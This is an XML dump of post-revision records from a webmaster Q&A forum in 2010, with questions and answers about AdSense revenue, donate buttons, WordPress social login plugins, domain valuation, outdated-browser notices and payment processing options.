  <row Id="1166" PostHistoryTypeId="5" PostId="296" RevisionGUID="21688762-fca8-41cd-904a-17cbcd56c2ab" CreationDate="2010-07-10T11:24:29.650" UserId="136" Comment="added 6 characters in body" Text="Read a great [introduction to A/B testing][1] on the smashingmagazine.com. The piece includes links to multiple A/B testing tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2010/06/24/the-ultimate-guide-to-a-b-testing/" />
  <row Id="1167" PostHistoryTypeId="2" PostId="640" RevisionGUID="014eb3d4-4be5-4539-a50b-410bd4e323ff" CreationDate="2010-07-10T13:19:41.447" UserId="3" Text="We did this (listed in DMOZ) for Stack Overflow, Server Fault and Super User.&#xD;&#xA;&#xD;&#xA;Since then, I have noticed that the DMOZ text for Stack Overflow appears in a bunch of places.&#xD;&#xA;&#xD;&#xA;&gt; http://search.dmoz.org/cgi-bin/search?search=stack+overflow&#xD;&#xA;&gt; &#xD;&#xA;&gt; Open Directory Sites (1-5 of 5)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Stack Overflow - **A language-independent collaboratively edited question and answer site for programmers.**  &#xD;&#xA;&gt; -- http://stackoverflow.com/   Reference: Ask an Expert: Computers and Technology   (1)&#xD;&#xA;&#xD;&#xA;And I specifically note that our Google result summary is *that exact text* &#xD;&#xA;&#xD;&#xA;&gt; http://www.google.com/#hl=en&amp;source=hp&amp;q=stack+overflow&#xD;&#xA;&gt; &#xD;&#xA;&gt; Stack Overflow  &#xD;&#xA;&gt; **A language-independent collaboratively edited question and answer site for programmers.**&#xD;&#xA;&#xD;&#xA;So I'd vote &quot;yes&quot;, it is picked up by a bunch of directories still -- and Google.&#xD;&#xA;&#xD;&#xA;More:  &#xD;&#xA;http://sites.google.com/site/jeanmanco/googleanddmoz" />
  <row Id="1168" PostHistoryTypeId="2" PostId="641" RevisionGUID="e904b3ad-d791-4fca-a5d7-d9f543763c67" CreationDate="2010-07-10T13:20:21.227" UserId="219" Text="I recommend listening to [Podcast #64 of Stackoverflow][1] where they discuss their disappointment in Adsense.&#xD;&#xA;&#xD;&#xA;I also tried it on my personal blog where I get only about 50 visitors per day on the high end.  In that case it's definitely not worth it and after a few months I ended up taking it down. &#xD;&#xA;&#xD;&#xA;From the Stackoverflow podcast mentioned above:&#xD;&#xA;&gt; - On the crushing disappointment of Google AdSense on Stack Overflow. The&#xD;&#xA;&gt; theory of AdSense, matching topical&#xD;&#xA;&gt; ads to the content on the page, is&#xD;&#xA;&gt; fantastic. The reality of the type of&#xD;&#xA;&gt; ads we actually saw on Stack Overflow&#xD;&#xA;&gt; is a terrible disappointment. They&#xD;&#xA;&gt; were barely relevant, and often quite&#xD;&#xA;&gt; ugly.&#xD;&#xA;&gt; - Our hand-selected ads, targetted to our audience, perform 50 times better&#xD;&#xA;&gt; than AdSense. We believe that if&#xD;&#xA;&gt; Google could somehow tag a site with a&#xD;&#xA;&gt; specific audience topic (such as, say,&#xD;&#xA;&gt; “programmers”) it would do much&#xD;&#xA;&gt; better.&#xD;&#xA;&gt; - If a site like Stack Overflow, which does almost a million pageviews a day,&#xD;&#xA;&gt; can’t make enough to cover even one&#xD;&#xA;&gt; person at half time using Google&#xD;&#xA;&gt; AdSense, how does anyone make a living&#xD;&#xA;&gt; with AdSense? Does it even work?&#xD;&#xA;&gt; - Joel says the only people making decent money with AdSense are scammers&#xD;&#xA;&gt; who specifically build websites to do&#xD;&#xA;&gt; nothing except target high&#xD;&#xA;&gt; pay-per-click keywords. I am not sure&#xD;&#xA;&gt; this is what Google had in mind. It is&#xD;&#xA;&gt; a stunning indictment of “the power of&#xD;&#xA;&gt; the algorithm”.&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2009/08/podcast-64/" />
  <row Id="1169" PostHistoryTypeId="2" PostId="642" RevisionGUID="8a350075-60c1-4b09-ac8e-54eca3e126fa" CreationDate="2010-07-10T13:25:35.893" UserId="3" Text="You might want to look at the way Google loads Analytics as well:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    &#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;      _gaq.push(['_setAccount', 'UA-xxxxxxx-x']);&#xD;&#xA;      _gaq.push(['_trackPageview']);&#xD;&#xA;    &#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;    &#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;As it is considered a &quot;best practice&quot; sort of script:  &#xD;&#xA;http://www.stevesouders.com/blog/2009/12/01/google-analytics-goes-async/" />
  <row Id="1170" PostHistoryTypeId="2" PostId="643" RevisionGUID="224137e2-c510-447a-ba3e-855fc72e72e1" CreationDate="2010-07-10T13:27:09.773" UserId="182" Text="It really depends on what the cause/person is.&#xD;&#xA;&#xD;&#xA;I've seen a donate widget raise about $2000 in a week, but the cause was very specific and the word was spread with twitter as well. The donate thing was only on for a limited time though.&#xD;&#xA;&#xD;&#xA;So yes, donate buttons can work, but in most cases they probably don't because the cause/person for the donation is usually not worthy." />
  <row Id="1171" PostHistoryTypeId="2" PostId="644" RevisionGUID="2bc8902f-7203-49b8-ba4f-ea70d2b82007" CreationDate="2010-07-10T13:47:45.513" UserId="43" Text="This isn't evidence either way, but [Flattr][1] is an interesting new service focused on making donations easy/more common.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://flattr.com/" />
  <row Id="1172" PostHistoryTypeId="5" PostId="620" RevisionGUID="f29432be-54cd-442f-a55c-7b382a4bec14" CreationDate="2010-07-10T13:52:33.503" UserDisplayName="delete" Comment="Clarification of what I mean by &quot;donation&quot;; added 176 characters in body" Text="I see lots of &quot;Donate&quot; buttons on websites which are not donations to charity as such, but of the form &quot;Donate to this website in order to help keep the website running&quot; or &quot;If you like this website, please donate some money&quot;. I confess that I have never donated to any. I also don't feel like my website is a worthy enough cause to display a begging bowl. Does anybody actually make money off their &quot;Donate&quot; buttons? Specifically I mean those sites where it says &quot;Please donate some money to the author if you like this website&quot; rather than &quot;Please donate to a worthy cause&quot; (e.g. Red Cross, Unicef etc.)&#xD;&#xA;&#xD;&#xA;Hard data please!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1173" PostHistoryTypeId="2" PostId="645" RevisionGUID="a96ca450-d14e-4809-a79d-9e2bf14a13fe" CreationDate="2010-07-10T13:58:29.747" UserId="23" Text="Is there somethink like [this][1] for free for wordpress?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codecanyon.k42b3.com/openid/openid.php#" />
  <row Id="1174" PostHistoryTypeId="1" PostId="645" RevisionGUID="a96ca450-d14e-4809-a79d-9e2bf14a13fe" CreationDate="2010-07-10T13:58:29.747" UserId="23" Text="OpenID, Gmail, Facebook, Yahoo login for Wordpress" />
  <row Id="1175" PostHistoryTypeId="3" PostId="645" RevisionGUID="a96ca450-d14e-4809-a79d-9e2bf14a13fe" CreationDate="2010-07-10T13:58:29.747" UserId="23" Text="&lt;facebook&gt;&lt;wordpress&gt;&lt;login&gt;&lt;openid&gt;" />
  <row Id="1176" PostHistoryTypeId="5" PostId="643" RevisionGUID="826b5064-1f33-4a3d-85b2-185e5b88ca2e" CreationDate="2010-07-10T14:09:32.183" UserId="182" Comment="added 69 characters in body" Text="It really depends on what the cause/person is.&#xD;&#xA;&#xD;&#xA;I've seen a donate widget raise about $2000 in a week, but the cause was very specific and the word was spread with twitter as well. (It was for a guy that organized an event and got some stuff stolen) The donate thing was only on for a limited time though.&#xD;&#xA;&#xD;&#xA;So yes, donate buttons can work, but in most cases they probably don't because the cause/person for the donation is usually not worthy." />
  <row Id="1177" PostHistoryTypeId="2" PostId="646" RevisionGUID="444dda44-0007-4fb2-90b0-a8be501d6435" CreationDate="2010-07-10T14:35:49.077" UserId="40" Text="Word press has an openid [plugin][1]. I am not sure if it works with the other login services.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/openid/" />
  <row Id="1178" PostHistoryTypeId="5" PostId="646" RevisionGUID="ddc82e23-06b0-4d4d-a44d-a57949cb368e" CreationDate="2010-07-10T14:41:26.663" UserId="40" Comment="added 254 characters in body" Text="Word press has an openid [plugin][1]. I am not sure if it works with the other login services.&#xD;&#xA;&#xD;&#xA;[This plugin][2] can do also other services like &#xD;&#xA;&#xD;&#xA;&gt; Quickly register and login users with their existing accounts from Facebook, Twitter, Google, Yahoo!, LinkedIn, Windows Live, MySpace, AOL or OpenID&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/openid/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/rpx/" />
  <row Id="1179" PostHistoryTypeId="2" PostId="647" RevisionGUID="2fab8a4f-0170-4d98-86a2-0d22a2258ccd" CreationDate="2010-07-10T14:43:32.507" UserId="43" Text="[This article][1] goes into some detail on how to use the [OpenID][2] plugin for Wordpress.  It doesn't look like Facebook is supported (although it is an OpenID provider) in terms of displaying icons, but Google, Yahoo, Flickr, and others are. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://anantgarg.com/2009/03/19/wordpress-third-party-accounts-login-plugin/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/openid/" />
  <row Id="1180" PostHistoryTypeId="2" PostId="648" RevisionGUID="8c3b8cfc-9154-4831-8d67-7e6c7d63afa1" CreationDate="2010-07-10T17:00:09.877" UserId="209" Text="[Six Revisions][1]&#xD;&#xA;&#xD;&#xA;While technically a site for Web Devs &amp; Designers they keep things at a high level making for a very good resource for keeping up with technology trends and style.&#xD;&#xA;&#xD;&#xA;  [1]: http://sixrevisions.com/ &quot;SixRevisions&quot;" />
  <row Id="1181" PostHistoryTypeId="2" PostId="649" RevisionGUID="19b527da-f147-4aa5-9c37-88696d43cadb" CreationDate="2010-07-10T17:00:52.450" UserId="55" Text="I have some domains that I've been building for the last few years and now I'd like to sell them. I tried several services (including Sedo) to try and ascertain just how much money each domain was worth, but not one service agreed with any other service's assessment.&#xD;&#xA;&#xD;&#xA;I don't want to sell myself short, but I don't want to make the asking price inappropriate.&#xD;&#xA;&#xD;&#xA;Is there a formula to determine this, based on rank / traffic / etc? I know it can't be an exact science, but I'd like to be sure that I'm not selling myself short. Additionally, I'd like to be able to tell if I'm paying to much for a domain if I want to buy one in the future. " />
  <row Id="1182" PostHistoryTypeId="1" PostId="649" RevisionGUID="19b527da-f147-4aa5-9c37-88696d43cadb" CreationDate="2010-07-10T17:00:52.450" UserId="55" Text="How do you determine the monetary value of an established domain / website?" />
  <row Id="1183" PostHistoryTypeId="3" PostId="649" RevisionGUID="19b527da-f147-4aa5-9c37-88696d43cadb" CreationDate="2010-07-10T17:00:52.450" UserId="55" Text="&lt;domains&gt;&lt;value&gt;" />
  <row Id="1184" PostHistoryTypeId="5" PostId="44" RevisionGUID="791e3195-de07-4575-9b02-1002192a8633" CreationDate="2010-07-10T17:42:24.347" UserId="48" Comment="spelling change; deleted 10 characters in body" Text="There are a few things you can do:&#xD;&#xA;&#xD;&#xA; 1. Load the HTML and CSS before the javascript. This gives the browser everything it needs to lay out the page and render it. This gives the user the impression that the page is snappy. Place script tags or blocks as close to the closing body tag as possible.&#xD;&#xA;&#xD;&#xA; 2. Consider using a CDN. If you are using any of the popular libraries like JQuery many companies (e.g. google, yahoo) operate free CDNs that you can use to load the libraries.&#xD;&#xA;&#xD;&#xA; 3. Load code fron an external file instead of an embedded script. This gives the browser the opportunity to cache the JS content and not have to load it at all. Successive page loads will be faster.&#xD;&#xA;&#xD;&#xA; 4. Turn on zip compression on the web server.&#xD;&#xA;&#xD;&#xA;Yahoo has a [great page][1] of suggestions that can help reduce page load times.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html" />
  <row Id="1185" PostHistoryTypeId="2" PostId="650" RevisionGUID="3d8079ca-273d-45cf-a5de-7e73bd43302e" CreationDate="2010-07-10T19:02:58.863" UserId="19" Text="I run a hobby website that gets about 140K visitors per month and about 5.3 pages per visit. I decided to put a few Adsense text links on it several years back and I have been totally surprised at how much it has brought in. I was able to place the text ads in a very tasteful manner that doesn't ruin the user experience.&#xD;&#xA;&#xD;&#xA;It is not enough to live on by any means, but it is some really great pocket change. I know there are some people who claim to make their entire living off of AdSense, but I can't imagine what kind of site you'd have to build in order to do that. &#xD;&#xA;&#xD;&#xA;So to answer your question. AdSense was totally worth the effort in my scenario.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1186" PostHistoryTypeId="2" PostId="651" RevisionGUID="3e3d0867-3059-4211-b21f-ecfde72e16b4" CreationDate="2010-07-10T20:53:33.373" UserId="222" Text="I have seen many sites like [browser-update.org](http://www.browser-update.org/) that provide small bits of JavaScript &amp; CSS to implement in a page that inform a user through a yellow bar at the top of the page that their browser is out of date. While I see how this is productive in that it helps raise people's browsers to higher standards, but I also feel that it may be a slight bit intrusive and annoying.&#xD;&#xA;&#xD;&#xA;Would this kind of notification be more appropriate on a personal website instead of a business website? Are there any general guidelines to where this kind of notification should and shouldn't be used?" />
  <row Id="1187" PostHistoryTypeId="1" PostId="651" RevisionGUID="3e3d0867-3059-4211-b21f-ecfde72e16b4" CreationDate="2010-07-10T20:53:33.373" UserId="222" Text="Should I tell visitors that their browser is out-of-date?" />
  <row Id="1188" PostHistoryTypeId="3" PostId="651" RevisionGUID="3e3d0867-3059-4211-b21f-ecfde72e16b4" CreationDate="2010-07-10T20:53:33.373" UserId="222" Text="&lt;notification&gt;&lt;browsers&gt;&lt;browser-support&gt;" />
  <row Id="1189" PostHistoryTypeId="2" PostId="652" RevisionGUID="59b9b74d-88ca-41ca-8405-5db8bebfaaf7" CreationDate="2010-07-10T21:05:30.193" UserId="111" Text="My Adsense revenue for a particular site suddenly plummeted (About halved over one or two weeks).&#xD;&#xA;&#xD;&#xA;How can I find out why ?" />
  <row Id="1190" PostHistoryTypeId="1" PostId="652" RevisionGUID="59b9b74d-88ca-41ca-8405-5db8bebfaaf7" CreationDate="2010-07-10T21:05:30.193" UserId="111" Text="Sharp drop in adsense revenue" />
  <row Id="1191" PostHistoryTypeId="3" PostId="652" RevisionGUID="59b9b74d-88ca-41ca-8405-5db8bebfaaf7" CreationDate="2010-07-10T21:05:30.193" UserId="111" Text="&lt;google-adsense&gt;" />
  <row Id="1192" PostHistoryTypeId="2" PostId="653" RevisionGUID="a4fbc9e1-d328-45be-8e54-5297a5ac9e28" CreationDate="2010-07-10T21:07:35.570" UserId="221" Text="For non-personal sites this should only be done if (for some reason) the site will not perform well in the out-of-date browser. Non-personal sites (be they business, governmental etc.) are not typically there to serve an agenda, so if the site works (mostly) in IE 6 (or any outdated) browser, let it be. Your users aren't there to be lectured on their choice of browser (even if that choice is bad).&#xD;&#xA;&#xD;&#xA;For personal sites this is, of course, a matter of personal taste and conviction.&#xD;&#xA;&#xD;&#xA;If you feel a notification is warranted you should be make it reasonably unobtrusive. The top ribbons that stackexchange sites use for notifications are quite suitable. Redirecting to another page altogether is over the top. Make it easy to dismiss (maybe your user-agent code is getting it wrong) and once dismissed it shouldn't pop up again (at least for some time).&#xD;&#xA;" />
  <row Id="1193" PostHistoryTypeId="2" PostId="654" RevisionGUID="2986ee76-ad17-483a-bed3-16c2eef0db2e" CreationDate="2010-07-10T21:38:47.223" UserId="223" Text="As you mentioned, [Orchard][1] has a lot of [potential][2], but it is still pretty young and not quite ready for production use. [Umbraco][3] is another .NET CMS that has pretty good reviews.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://orchard.codeplex.com/&#xD;&#xA;  [2]: http://live.visitmix.com/MIX10/Sessions/FT06&#xD;&#xA;  [3]: http://umbraco.codeplex.com/" />
  <row Id="1194" PostHistoryTypeId="16" PostId="654" RevisionGUID="2986ee76-ad17-483a-bed3-16c2eef0db2e" CreationDate="2010-07-10T21:38:47.223" UserId="-1" />
  <row Id="1195" PostHistoryTypeId="2" PostId="655" RevisionGUID="a229b80f-4ad9-42df-be8e-77493cb40a74" CreationDate="2010-07-10T22:56:42.497" UserId="9" Text="The quick-and-dirty answer is &quot;it's worth whatever someone is willing to pay.&quot; I'm not trying to sound unhelpful, but it's the truth.&#xD;&#xA;&#xD;&#xA;The pricing of a domain name is SO subjective. It's like trying to set a price for that pretty picture of a flower you took. Someone will pay anything from $0 to $millions.&#xD;&#xA;&#xD;&#xA;There are domain valuation companies that will try to apply a formula along the lines of:&#xD;&#xA;&gt;X number of letters + dictionary bonus + sounds-cool fudge factor = $YOUR-RICH!&#xD;&#xA;&#xD;&#xA;...but for the most part, these are scams. The problem with trying to set a fixed value (the magic, maximum price where something will sell) is that the market is [not  even close to liquid][1]. There's simply no &quot;blue book&quot; of domain name values that will tell you what someone should be willing to pay.&#xD;&#xA;&#xD;&#xA;What that means to you is that, until someone is willing to write you a check, your domain name is *worth* exactly $ZERO.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Market_liquidity" />
  <row Id="1196" PostHistoryTypeId="2" PostId="656" RevisionGUID="e290afbd-bda5-40cb-8f05-fd6a625b677c" CreationDate="2010-07-10T23:52:35.037" UserId="161" Text="The safe characters are a-z, A-Z, 0-9, and _ - (underscore and minus), that besides the reserved characters who are used for the parameters.  &#xD;&#xA;Other characters will give problems in some degree. example: if one parameter is an array ?param=array[content] ie will show an url whit the square brackets url encoded, which look ugly and impossible to dictate.  &#xD;&#xA;But the problem is not only it's ugly, lets say you have a jpg with a character beside the safer ones, many times the browser will be unable to download it getting a 404. This is a problem of older browsers and some movile browsers.&#xD;&#xA;&#xD;&#xA;What to test this?  &#xD;&#xA;&#xD;&#xA; - put a bunch of images/js/css with the characters you want to test in the names in a public page with many visitors&#xD;&#xA; - Make the 404 page send you a email every time it get a hit&#xD;&#xA;&#xD;&#xA;I have and inbox with 14000 emails probing my point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1197" PostHistoryTypeId="5" PostId="655" RevisionGUID="28a06b42-cd96-42af-a7c6-2d49f12c36ff" CreationDate="2010-07-11T00:03:49.493" UserId="9" Comment="edited body" Text="The quick-and-dirty answer is &quot;it's worth whatever someone is willing to pay.&quot; I'm not trying to sound unhelpful, but it's the truth.&#xD;&#xA;&#xD;&#xA;The pricing of a domain name is SO subjective. It's like trying to set a price for that picture of an alien spaces you took. Someone will pay anything from $0 to $millions.&#xD;&#xA;&#xD;&#xA;There are domain valuation companies that will try to apply a formula along the lines of:&#xD;&#xA;&gt;X number of letters + dictionary bonus + sounds-cool fudge factor = $YOUR-RICH!&#xD;&#xA;&#xD;&#xA;...but for the most part, these are scams. The problem with trying to set a fixed value (the magic, maximum price where something will sell) is that the market is [not  even close to liquid][1]. There's simply no &quot;blue book&quot; of domain name values that will tell you what someone should be willing to pay.&#xD;&#xA;&#xD;&#xA;What that means to you is that, until someone is willing to write you a check, your domain name is *worth* exactly $ZERO.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Market_liquidity" />
  <row Id="1198" PostHistoryTypeId="5" PostId="655" RevisionGUID="bb3e5bb7-2461-45aa-b920-7740f7bad56a" CreationDate="2010-07-11T02:26:13.483" UserId="9" Comment="added 15 characters in body" Text="The quick-and-dirty answer is &quot;it's worth whatever someone is willing to pay.&quot; I'm not trying to sound unhelpful, but it's the truth.&#xD;&#xA;&#xD;&#xA;The pricing of a domain name is SO subjective. It's like trying to set a price for that picture of an alien spaceship you took. Someone *may* or may not pay anywhere from $0 to $millions.&#xD;&#xA;&#xD;&#xA;There are domain valuation companies that will try to apply a formula along the lines of:&#xD;&#xA;&gt;X number of letters + dictionary bonus + sounds-cool fudge factor = $YOUR-RICH!&#xD;&#xA;&#xD;&#xA;...but for the most part, these are scams. The problem with trying to set a fixed value (the magic, maximum price where something will sell) is that the market is [not  even close to liquid][1]. There's simply no &quot;blue book&quot; of domain name values that will tell you what someone should be willing to pay.&#xD;&#xA;&#xD;&#xA;What that means to you is that, until someone is willing to write you a check, your domain name is *worth* exactly $ZERO.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Market_liquidity" />
  <row Id="1199" PostHistoryTypeId="2" PostId="657" RevisionGUID="0f1e4c1e-1c01-42db-9531-077883f0b769" CreationDate="2010-07-11T02:35:02.730" UserDisplayName="delete" Text="I would only ever do this in the case of extreme failures, like if I had a `&lt;canvas&gt;` based page and someone visited it with Internet Explorer. The best thing is to test the browser's capabilities and apologize to the user if the page can't be displayed. The same theory also applies to `&lt;noscript&gt;` sections for users whose browser's JavaScript is turned off.&#xD;&#xA;" />
  <row Id="1200" PostHistoryTypeId="2" PostId="658" RevisionGUID="73e20cec-aec1-47b6-932d-f0d3d7b49c74" CreationDate="2010-07-11T03:24:51.980" UserId="210" Text="I'm no expert, but I would start by looking a few things:&#xD;&#xA;&#xD;&#xA; - has there been a traffic drop?&#xD;&#xA; - are you being ranked lower on search engines for terms that you were higher before?&#xD;&#xA; - are the ads displaying?&#xD;&#xA; - are is Adsense displaying ads that are related to your site?&#xD;&#xA; - did any of the changes made recently to your site affect placement or how the ads are displayed?&#xD;&#xA; - check Google's Webmaster tools to make sure there aren't any warnings regarding your site (such as spam)&#xD;&#xA;&#xD;&#xA;Just some ideas...I'm sure there are lots of other possible causes as well." />
  <row Id="1201" PostHistoryTypeId="16" PostId="658" RevisionGUID="73e20cec-aec1-47b6-932d-f0d3d7b49c74" CreationDate="2010-07-11T03:24:51.980" UserId="210" />
  <row Id="1202" PostHistoryTypeId="2" PostId="659" RevisionGUID="e1560010-b582-4f49-8412-450bb0ca4da9" CreationDate="2010-07-11T03:29:11.093" UserId="3" Text="I suggest if you want to do this, put up a basic HTML page at the root of the domain that says something like...&#xD;&#xA;&#xD;&#xA;&gt; This domain is for sale. I am not a domain squatter, just an individual looking for a fair price.  Email me with a reasonable offer if you are interested.&#xD;&#xA;&gt; &#xD;&#xA;&gt; name@example.com&#xD;&#xA;&#xD;&#xA;Having bought one fairly expensive domain name (superuser.com) and having purchased from squatting organizations before (stackoverflow.com was $1100 or so), I can tell you I would be *far* more likely to offer to buy a domain from someone who looks like a real, rational person who just wants a fair price for their domain.&#xD;&#xA;&#xD;&#xA;That said, you may have to be very patient until the right serious buyer comes along. But until that &quot;I'm interested in selling&quot; page is out there, you'll never know." />
  <row Id="1203" PostHistoryTypeId="5" PostId="656" RevisionGUID="7d59a7be-236f-4523-90bf-ec23bee19d94" CreationDate="2010-07-11T03:31:12.840" UserId="3" Comment="added 4 characters in body" Text="The safe characters are a-z, A-Z, 0-9, and _ - (underscore and minus), that besides the reserved characters who are used for the parameters.  &#xD;&#xA;&#xD;&#xA;Other characters will give problems in some degree. example: if one parameter is an array `?param=array[content]` ie will show an url whit the square brackets url encoded, which look ugly and impossible to dictate.  &#xD;&#xA;&#xD;&#xA;But the problem is not only it's ugly, lets say you have a jpg with a character beside the safer ones, many times the browser will be unable to download it getting a 404. This is a problem of older browsers and some mobile browsers.&#xD;&#xA;&#xD;&#xA;How to test this?  &#xD;&#xA;&#xD;&#xA; - put a bunch of images/js/css with the characters you want to test in the names in a public page with many visitors&#xD;&#xA; - Make the 404 page send you a email every time it get a hit&#xD;&#xA;&#xD;&#xA;I have an inbox with 14000 emails proving my point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1204" PostHistoryTypeId="2" PostId="660" RevisionGUID="e16fba6a-8daf-4460-abb8-1c438f4feee1" CreationDate="2010-07-11T03:37:29.063" UserId="3" Text="&quot;force&quot; is an awfully strong word... How about &#xD;&#xA;&#xD;&#xA;1. creating a website your users love enough so that at least some of them won't adblock you?&#xD;&#xA;&#xD;&#xA;2. choosing ads that aren't so irritating your users feel compelled to adblock them?&#xD;&#xA;&#xD;&#xA;Responsibility for your site starts at home.. " />
  <row Id="1205" PostHistoryTypeId="2" PostId="661" RevisionGUID="2a74d801-cd01-4a1e-9eab-82bc91001a63" CreationDate="2010-07-11T03:47:32.713" UserId="133" Text="I want to create maps that show the number of clicks per country, just like in Google Analytics. I've looked at Google and Bing map API. These looks way to complicate for what I want to do. Do you know of any simpler API?" />
  <row Id="1206" PostHistoryTypeId="1" PostId="661" RevisionGUID="2a74d801-cd01-4a1e-9eab-82bc91001a63" CreationDate="2010-07-11T03:47:32.713" UserId="133" Text="Waht is the simples API to create maps like in Google Analytics" />
  <row Id="1207" PostHistoryTypeId="3" PostId="661" RevisionGUID="2a74d801-cd01-4a1e-9eab-82bc91001a63" CreationDate="2010-07-11T03:47:32.713" UserId="133" Text="&lt;map&gt;" />
  <row Id="1208" PostHistoryTypeId="2" PostId="662" RevisionGUID="99d94d73-49bd-4899-95c9-75bc29e08322" CreationDate="2010-07-11T03:58:38.730" UserId="138" Text="If you can't handle the Google Maps API, then I doubt you're going to be able to handle any other mapping/geo-location API. The Google Maps API is very, very easy to use and there's plenty of &quot;wrappers&quot; out there to make it *even easier* (such [as this one I just found on google here][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.googlemaps.subgurim.net/descargar.aspx" />
  <row Id="1209" PostHistoryTypeId="2" PostId="663" RevisionGUID="89e11e37-adaa-470b-9512-717b57ec3a4e" CreationDate="2010-07-11T04:07:21.877" UserId="138" Text="You're going to get abandoned shopping carts nomatter what you do, but the best option is generally the one that fully integrates into your webpage.&#xD;&#xA;&#xD;&#xA;You can still use PayPal's API with a roll-your-own (no experience with Amazon and Google as they don't offer services in my part of the world), so you can have the best of both worlds.&#xD;&#xA;&#xD;&#xA;I doubt there's been too many people that have done iterative testing on their live sites though because changing the checkout is difficult and time consuming (and thus, expensive) for what may be little to no return.&#xD;&#xA;&#xD;&#xA;Personally, wherever the budget allows, I always integrate the checkout experience into my own website (SSL's are cheap these days), whether it's with PayPal, SecurePay or another merchant service." />
  <row Id="1210" PostHistoryTypeId="16" PostId="472" RevisionGUID="222206e3-d871-449e-8170-ac3d640f4eb2" CreationDate="2010-07-11T04:07:57.990" UserId="180" />
  <row Id="1212" PostHistoryTypeId="4" PostId="661" RevisionGUID="19bfdc74-214e-4f5a-9612-17573a15fb87" CreationDate="2010-07-11T04:11:23.387" UserId="133" Comment="edited title" Text="What is the simplest API to create maps like in Google Analytics?" />
  <row Id="1213" PostHistoryTypeId="5" PostId="627" RevisionGUID="c3ef2c70-cd5a-4412-a400-9f5b7a8ea752" CreationDate="2010-07-11T04:15:17.297" UserId="180" Comment="fixed minor wording; shouldn't post so ;late at night." Text="I currently have a site that is generating about 120k monthly page views and is being hosted on a shared FreBSD server where I have access to PHP and MySQL. I am using some custom PHP server-side scripts that give each of my ad networks (AdSense, Tribal Fusion, etc) an adjustable percentage of impressions in each of the ad positions on my pages.&#xD;&#xA;&#xD;&#xA;I am looking for a better way of managing and measuring the delivery of these ads, and would also like to be able to take direct placements and provide statistics to the clients.&#xD;&#xA;&#xD;&#xA;I am looking at options including [OpenX self-hosted][1], [OpenX community][2], and [Google DoubleClick for Publishers Small Business][3] (DFP), but am having difficulty determining which one will best meet my needs.  They all seem to have pretty steep learning curves compared to my simple scripts.&#xD;&#xA;&#xD;&#xA;What I have taken away so far as the benefit of self-hosting is that I don't have to pay for the service if I go over a given number of ad impressions, while both OpenX Community and DFP have free impression limits.  Of course, if I was doing those kind of numbers I'd need to upgrade my hosting account, but I'm not sure even at that point whether it would be cheaper to serve the ads myself than pay for a premium service.&#xD;&#xA;&#xD;&#xA;Apart from this, I really need insights into what features differentiate these services, why I might want to choose one over another, and if there are any other competing products or service of the same quality that I should look into.  Answers from webmasters who have used both (or all three) services and can talk to usability and ease of ad management would be highly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org/ad-server/download&#xD;&#xA;  [2]: http://www.openx.org/en/ad-server&#xD;&#xA;  [3]: https://www.google.com/dfp/info/sb/index.html" />
  <row Id="1214" PostHistoryTypeId="2" PostId="664" RevisionGUID="480d48e7-9350-402a-ba41-b599d723e8a4" CreationDate="2010-07-11T04:25:10.160" UserId="210" Text="These options have been recommended already, but here is my reasoning my I recommend each to my customer:&#xD;&#xA;&#xD;&#xA; - PayPal (or Google Checkout or similar) is great for small websites. It's easy to setup and often they don't have a monthly charge, only a per transaction charge. But it can be confusing for the user as they'll be sent to a website that doesn't look like yours and people often get confused with PayPal because the link to pay without an account is small and hidden in the bottom left. You can also get the account and start using it all within 1 day.&#xD;&#xA; - Full payment processor (my recommendation is [Beanstream][1]). When you want to integrate the payment solution directly into your website and have a full payment solution integrated into your site, this is the way to go. It will allow you a lot more flexibility and won't be as confusing for users. You can also do debit transactions. They usually have a monthly fee and do credit check. Some of them also have contracts. Within this option are 2 options:&#xD;&#xA;   - using the payment processors payment page: this removes the requirement to go through additional security checks on the server. Most times you can format this page as you want and use their secure server to store image, CSS and JS.&#xD;&#xA;   - take the credit card on your server and pass it to the payment processor, receiving the response back and doing the appropriate processes. This allows even more customization, but requires additional security checks and an SSL certificate.&#xD;&#xA; - A subscription based shopping cart where they have a shopping cart and payment solution that you pay for on a monthly basis. This has the advantage of not having to do the integration yourself. But they are much less flexible than doing it yourself.&#xD;&#xA;&#xD;&#xA;These are the 3 options I've worked with. I'm sure there are others.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.beanstream.com" />
